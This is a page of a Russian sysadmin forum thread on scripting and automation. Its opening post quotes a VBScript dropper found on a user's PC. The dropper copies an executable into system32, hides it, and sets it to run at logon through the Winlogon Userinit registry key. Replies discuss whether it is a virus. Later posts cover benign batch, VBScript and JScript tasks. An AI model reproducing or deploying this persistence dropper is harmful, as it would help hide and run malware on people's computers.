Ru-Board.club
← Вернуться в раздел «В помощь системному администратору»

» Автоматизация администрирования. Часть 2

Автор: sergiologino
Дата сообщения: 17.11.2008 14:00
Гуру, подскажите - у меня следующая проблема:
На компе шефа сегодня весь день вылетает MsgBox (до 3 шт в мин):

C:\docum...\username\local..\temp\update.vbs
Ошибка: Разрешение отклонено
Строка 9 символ 1
Код: 800A0046
Ошибка выполнения Microsoft VBScript

Текст скрипта:
Set WSHShell = WScript.CreateObject("WScript.Shell")
windir = WSHShell.ExpandEnvironmentStrings("%windir%")
msgbox (windir)
temp = WSHShell.ExpandEnvironmentStrings("%temp%")
nfname = windir & "\system32\tm8259.exe"
sfname = temp & "\update.exe"
Set fso = createobject("scripting.filesystemobject")
Set file = fso.getfile(sfname)
file.copy nfname
WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",windir & "\system32\userinit.exe," & nfname,"REG_SZ"
WSHShell.run("cmd /c attrib +s +h +r " & nfname), 0
WSHShell.run(sfname), 0
msgbox ("Updatings are already installed!")

Весь день копаюсь - не могу понять в чем проблема.
Антивирусы не реагируют.
Установлена WinXP.
Причем необязательно ставить приложения. Сама по себе выскакивает постоянно!

Права админские, на обе папки.
Файл update.exe в Temp наличествует.
Склоняюсь к тому что все-таки вирь какой-то.
При удалении появляется снова, все обновления поотключал
Автор: YNY
Дата сообщения: 18.11.2008 06:05

Цитата:
sergiologino

скорей это хвосты от обновления какой нить нужной проги типа 1с или еще чего нить, но если надоедает, убей скрипт и ключ в реестре либо убей или поредактируй

Добавлено:
либо эт автоудалялка вредного обновления от микрософт

Добавлено:
нормальный ключ в реестре выглядит так:
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit", "C:\WINDOWS\system32\userinit.exe," "REG_SZ"
***
Set file = fso.getfile(sfname)
теперь в file хранится ссылка на update.exe
выражение file.copy nfname правильно будет выглядеть вот так: file.copy(nfname), -- тут происходит копирование update.exe в windir & "\system32 с переименованием в tm8259.exe и если такой файл tm8259.exe с атрибутами +s +h +r (сис, скрыт, читать) уже есть, то возмона скрипту они (эти разрешения) мешают скопировать и переименовать, либо дополнительно наложены какие-то разрешения.
***
Скрипт не сможет запустить скрытый файл если в проводнике виндовс не будет поставленно отображение скрытых файлов

Добавлено:
[more=замечания не касающесеся сути вопроса напрямую:]

Цитата:
WSHShell.run("cmd /c attrib +s +h +r " & nfname), 0

во первых, & nfname ваще не прокатывает у меня,
во вторых синтаксис WSHShell.run таков: object.Run(strCommand, [intWindowStyle], [bWaitOnReturn])
intWindowStyle - Optional. 1-10
bWaitOnReturn - Optional. Boolean
Примеры
Return = WshShell.Run("notepad " & WScript.ScriptFullName, 1, true)
и
oShell.run "cmd /K CD C:\ & Dir"
Set oShell = Nothing
[/more]


Добавлено:
[more=Атрибуты можно устанавливать и без cmd]
msgbox MyFile2.Name &"-|-"& MyFile2.Attributes
MyFile2.Attributes= чего хотим

Normal -0- Normal file. No attributes are set.
ReadOnly -1- Read-only file. Attribute is read/write.
Hidden -2- Hidden file. Attribute is read/write.
System -4- System file. Attribute is read/write.
Volume -8- Disk drive volume label. Attribute is read-only.
Directory -16- Folder or directory. Attribute is read-only.
Archive -32- File has changed since last backup. Attribute is read/write.
Alias -1024- Link or shortcut. Attribute is read-only.
Compressed -2048- Compressed file. Attribute is read-only.
[/more]
Автор: PhoenixUA
Дата сообщения: 18.11.2008 11:24
YNY

Да вирус это.
Никакая нормальная программа не будет писаться в system32 под таким странным именем, да еще ставить атрибуты system и hidden. Плюс хитрый запуск из реестра.
Автор: zzxx1488
Дата сообщения: 18.11.2008 14:20
Updatings are already installed!

судя по инглишу это вирус.
Автор: YNY
Дата сообщения: 19.11.2008 04:58
PhoenixUA
[more=если вирус] Вообще-то виры не тупят и не выдают своего присутствия таким топорным способом [/more]
Автор: pav
Дата сообщения: 19.11.2008 14:23

Цитата:
Антивирусы не реагируют.

Менять антивирус.
Сорри за
Автор: YNY
Дата сообщения: 03.12.2008 06:54
можно ли при помощи WQL просмотреть HKEY_USERS
Автор: AcidSly
Дата сообщения: 03.12.2008 11:54
привет, подскажите как через batch-файл достать дату создания файла (формата yyyy-mm-dd)
спс
Автор: rkhodjaev
Дата сообщения: 03.12.2008 14:02
А не подскажите,как сделать батник который будет добавлять ИП-адрес альтернативного ДНС сервера?Я знаю,что этот батник добавляет ИП для пред.ДНС сервера >
netsh interface ip set dns "Подключение по локальной сети" static IP_address
Автор: AlexRus227
Дата сообщения: 04.12.2008 13:20
народ не подскажите как правильно написать батник для подкл диска для каждого юзера к своей папке ??

@echo on
net use Y: /delete
Net use Y: \\Backup\$login$ ?? или как

Добавлено:
$login$ = $username$ всем спасиб
Автор: DiZka
Дата сообщения: 10.12.2008 14:59
Доброго времени суток
Задача: есть файлик ini, на клиентах его надо всем массово заменить, если дата модификации его меньше 10.12.2008, если дата больше то заменять не надо, если файла нет на клиенте то ничего делать не надо
Файлик лежит на шаре
Вот "написал" тут скриптик но чет он меняет в любом случае т. е. как бы ему пофиг на дату изменния файла.... а как чтоб не делал ничего если файла нет, не знаю помогите знающие люди.
Писал по шаблону так что сильно не пинайте...


Код:
'Copy ABBY Lingvo config file
set net=CreateObject("WScript.Network")
strComputer=net.ComputerName
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.CopyFile "H:\Distributives\Software\Abby Lingvo 11 cfg\Lingvo.ini" , "C:\Program Files\ABBYY Lingvo 11 English-Russian Dictionary\Lingvo.ini",True
Set objFile = objFSO.GetFile("C:\Program Files\ABBYY Lingvo 11 English-Russian Dictionary\Lingvo.ini")
if objFile.DateLastModified<"10.12.2008" then
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2:Win32_Process")
Error = objWMIService.Create("net send ws tnsnames overwritted", null, null, intProcessID)
end if
Автор: Feeer
Дата сообщения: 12.12.2008 10:39

Цитата:
[/q]
[q]Код:Dim FSO,FileName 'Объявляем переменные
'Создаем объект FileSystemObject
Set FSO = WScript.CreateObject("Scripting.FileSystemObject")
FileName = "C:\Program Files\ABBYY Lingvo 11 English-Russian Dictionary\Lingvo.ini"
if FSO.FileExists(FileName) Then
'Выводим информацию на экран
WScript.Echo "Файл " & FileName & " существует"
else
'Выводим информацию на экран
WScript.Echo "Файл " & FileName & " не существует"
end if



Он проверяет наличие файла на диске... если находить то выводит на экран что существует если нет то наоборот... так вот как бы это заменить на замену строки в файле т.е.
Если файл есть то найти в нем строку АААА и замнеить ее на BBBB если файл не найден то ничего не делать....


var fso = new ActiveXObject("Scripting.FileSystemObject");
if (fso.FileExists("C:\\Program Files\\ABBYY Lingvo 11 English-Russian Dictionary\\Lingvo.ini")) {
var f = fso.OpenTextFile("C:\\Program Files\\ABBYY Lingvo 11 English-Russian Dictionary\\Lingvo.ini", 1, false);
var a="Строка для замены";
var b="На что меняем";
var p, s='',q='';
for (var l=1;f.AtEndOfStream != true;l+1)
{

s = f.ReadLine();
if(a==s){p=s.replace(a,b); q = q + p + "\n";}; else {q = q + s + "\n"}

};
f.Close( );
var f = fso.OpenTextFile("C:\\Program Files\\ABBYY Lingvo 11 English-Russian Dictionary\\Lingvo.ini", 2, true);

f.Write(q);
f.Close( );
}; else { WScript.Echo("Файла не существует")};

Должно работать
Автор: gap5
Дата сообщения: 12.12.2008 16:32
Подскажите, есть скрипт, который в одном текстовом окне делает Select all + Copy, в другое окно делает Paste (через нажатие клавиш). Но хотелось бы еще добавить промежуточную процедуру, фильтрование текста в буфере обмена, а именно удалить строки содержащие +++CLOSE(любые символы)+++, и только после этого вставить текст в нужное окно.

Заранее благодарен!
Автор: target27
Дата сообщения: 13.12.2008 08:51
Я думаю тут могут возхникнуть сложности. Какой текст копируешь? Какая кодировка и т.д.
Автор: gap5
Дата сообщения: 13.12.2008 10:24
Кодировка UTF8, текст такого вида:

blabla sdlkfjsldkfjl sdlfkjsld kfsldkfjlsdjf
+++CLOSE 23123+++
sflksdlkfs
sdfs
d
sfsfssdf $%#% ^#%^$
#$%%@@$#
dsadsdfsdf
+++CLOSE 23523+++
+++CLOSE 23623+++
+++CLOSE 123993+++
+++CLOSE 142223+++
sflkdfjlssd
sd
fdsdf
+++CLOSE 123993+++
*** slfdksl ** sdlfsd

Надо избавиться от +++CLOSE *+++
Автор: DiZka
Дата сообщения: 15.12.2008 08:50
Feeer а это вобще vbscript ? не jscript -ли?

Код: var fso = new ActiveXObject("Scripting.FileSystemObject");
if (fso.FileExists("C:\\Program Files\\ABBYY Lingvo 11 English-Russian Dictionary\\Lingvo.ini")) {
var f = fso.OpenTextFile("C:\\Program Files\\ABBYY Lingvo 11 English-Russian Dictionary\\Lingvo.ini", 1, false);
var a="PathToLicenseBase=\\Srvbackdc\ABBYY Lingvo 11 remote install\License Manager";
var b="PathToLicenseBase=\\Srvexchshvtn\ABBYY Lingvo 11\License Manager";
var p, s='',q='';
for (var l=1;f.AtEndOfStream != true;l+1)
{

s = f.ReadLine();
if(a==s){p=s.replace(a,b); q = q + p + "\n";}; else {q = q + s + "\n"}

};
f.Close( );
var f = fso.OpenTextFile("C:\\Program Files\\ABBYY Lingvo 11 English-Russian Dictionary\\Lingvo.ini", 2, true);

f.Write(q);
f.Close( );
}; else { WScript.Echo("Файла не существует")};
Автор: Feeer
Дата сообщения: 15.12.2008 14:51

Цитата:
Feeer а это вобще vbscript ? не jscript -ли?


jscript, проверил еще раз, работает без ошибок.
Автор: Feeer
Дата сообщения: 17.12.2008 11:07

Цитата:
UPD: Помогите подправить скрипт скрипт не отрабатывает если получается вот так:
Если стоит DateLastModified<"15.12.2008" и сегодня 15.12.2008 скрипт работает нормалаьно отрабатывает... если ставишь в скрипте например DateLastModified<"12.12.2008" а сегодня 15.12.2008 скрипт перестает отрабатывать... т.е. если сегодня дата как в скрипте то скрипт работает, а если меньше то не работает....

Вот на jscript

var file = "C:\\Program Files\\ABBYY Lingvo 11 English-Russian Dictionary\\Lingvo.ini";
var fso = WScript.CreateObject("Scripting.FileSystemObject");
if (fso.FileExists("C:\\Program Files\\ABBYY Lingvo 11 English-Russian Dictionary\\Lingvo.ini"))
{
var j = fso.GetFile(file);
var d = j.DateLastModified; // Дата изменения файла
MyDate = new Date (2008,11,18); //Контрольная дата (месяцы от 0 до 11 )
if (MyDate > d)
{
var f = fso.GetFile("C:\\Distributives\\Software\\Abby Lingvo 11 cfg\\Lingvo.ini");
f.Copy("C:\\Program Files\\ABBYY Lingvo 11 English-Russian Dictionary\\");
};

};
Автор: abasov
Дата сообщения: 17.12.2008 16:23
многие достают с оптимизацией хрю, каждый раз выключать службы, [ntfs, point resored, TCP, и п.п.п...]
Есть идея написать скрипт варианта игровой модели оптимизации хрю, так вот может уже есть реализация?...
Автор: korn3r
Дата сообщения: 19.12.2008 18:40
sc config сервис start= demand (disabled)
зачем тут скрипты?
Автор: IDaho
Дата сообщения: 24.12.2008 13:03
нужен скрипт который будет пинговать гейт например, или другой комп в сети с периодичностью 1-4 минуты. если ответы есть то конец работы скрипта, в случае если ответа нет, то переподключать соединение. (рестарт сервиса или дизейбл енейбл подклюбчения по локальной сети.)
работать будет локально на проблемной машине
Автор: sptgt
Дата сообщения: 24.12.2008 16:09
IDaho

Цитата:
:a
pause.exe -t 10
ping x.x.x.x
if ERRORLEVEL 0 goto a
rasdial /disconnect
rasdial ptn ptn ptn
goto a
Автор: vlazari
Дата сообщения: 24.12.2008 23:40
есть задача. 2 сервера терминальных Windows 2003 R2 SP2. оба в разных странах. между ними VPN. связь медленная, часто отключается, но всё настроено так, что если отключается один канал интернета - тут же переключается на другой, задержка ну секунд 5-10 при переключнии. В чём суть задачи. на одном терминале устновлен SQL 2000 SP4 и собственно сама 1с версия 7. Нужно, чтобы на втором сервере было всё зеркально как и на первом. Как сделать такую репликацию автоматической, чтобы реплицировалась и база и конфигурация (частые изменения). Если нет, то как настроить, чтобы можно было, например ночью делать репликацию из одной стороны в другую, изменить её (например) и потом реплицировать обратно. Подскажите как сделать лучше и надёжней?

PS размер самой базы 1с и конфигурации прошу не учитывать, это не важно. Трафик бесплатный.
Автор: Vby
Дата сообщения: 24.12.2008 23:48
vlazari
Как вариант, исользовать УРБД УРБД Мастер: автообмен для 1С
Автор: n0namer
Дата сообщения: 31.12.2008 11:23
Приветствую. Нужно получить список подпапок папки. Есть следующий код на JScript:

var strComputer = ".";
var objWMIService = GetObject("winmgmts:\\\\" + strComputer + "\\root\\CIMV2");
var colItems = objWMIService.ExecQuery("SELECT * FROM Win32_Directory WHERE Name LIKE 'c:\\<название любой существующей папки>%'", "WQL");
var enumItems = new Enumerator(colItems);
for (; !enumItems.atEnd(); enumItems.moveNext()) {
var objItem = enumItems.item();
WScript.Echo("Name:" + objItem.Name);
}

Где ошибка? Аналогичный код на VBScript отрабатывается нормально.
Автор: mihmig
Дата сообщения: 04.01.2009 22:55

Цитата:
ShafMAN

Подскажите если кто знает как с помощью WSH узнать размер графического файла (высота, ширина)?

Вот мой когда-то написанный батник для авторотации фоток (чтобы лежа все были, на печать посылать)


nconvert.exe -info %1 |findstr "Width" >1.txt
set w=0
FOR /F "eol=_ tokens=1,2 delims=: " %%i in (1.txt) do @SET w=%%j

nconvert.exe -info %1 |findstr "Height" >1.txt
set h=0
FOR /F "eol=_ tokens=1,2 delims=: " %%i in (1.txt) do @SET h=%%j

echo width=%w% and height=%h%
if %w% LSS %h% nconvert -jpegtrans rot90 %1    


напишите по аналогии WSH скрипт
nconvert.exe брать там же где и xnview.
Автор: YNY
Дата сообщения: 11.01.2009 08:03

Цитата:
n0namer
for (; !enumItems.atEnd(); enumItems.moveNext()) {
пустое место в конструкции for на первой позиции не допустимо:

[more=синтаксис для For]
Executes a block of statements for as long as a specified condition is true.

for (initialization; test; increment)
statements
Arguments
initialization
Required. An expression. This expression is executed only once, before the loop is executed.
test
Required. A Boolean expression. If test is true, statement is executed. If test if false, the loop is terminated.
increment
Required. An expression. The increment expression is executed at the end of every pass through the loop.
statements
Optional. One or more statements to be executed if test is true. Can be a compound statement.


[/more]

[more=либо вот эту конструкцию]
Executes one or more statements for each property of an object, or each element of an array.

for (variable in [object | array])
statements
Arguments
variable
Required. A variable that can be any property name of object or any element index of an array.
object, array
Optional. An object or array over which to iterate.
statements
Optional. One or more statements to be executed for each property of object or each element of array. Can be a compound statement.
[/more]
Автор: wmulke
Дата сообщения: 11.01.2009 14:50
Всем доброго времени суток. Предварительно искал по форуму ответ на мой вопрос, но то что мне нужно не нашел. Трабл таков. Мне необходимо, что бы происходил авто Log Off на серваке с Windows 2003 по истечении определенного времени. Это нужно для того что бы, сервер логофил Админов забывших сделать логофф. Желательно это осуществлять через скрипт батник, запускаемый при входе в систему. Через GPO сделать это не могу, так как нет на него доступа. Или же можно с помощью иных средств, но не готовых программ, тем более платных. Заранее благодарен
Автор: Refugee
Дата сообщения: 11.01.2009 16:19
wmulke
пропиши logoff.exe скринсейвером
Автор: wmulke
Дата сообщения: 12.01.2009 11:05

Цитата:
пропиши logoff.exe скринсейвером

Как его туда прописать?

Страницы: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576

Предыдущая тема: BackUp Win2003Serer


Форум Ru-Board.club — поднят 15-09-2016 числа. Цель - сохранить наследие старого Ru-Board, истории становления российского интернета. Сделано для людей.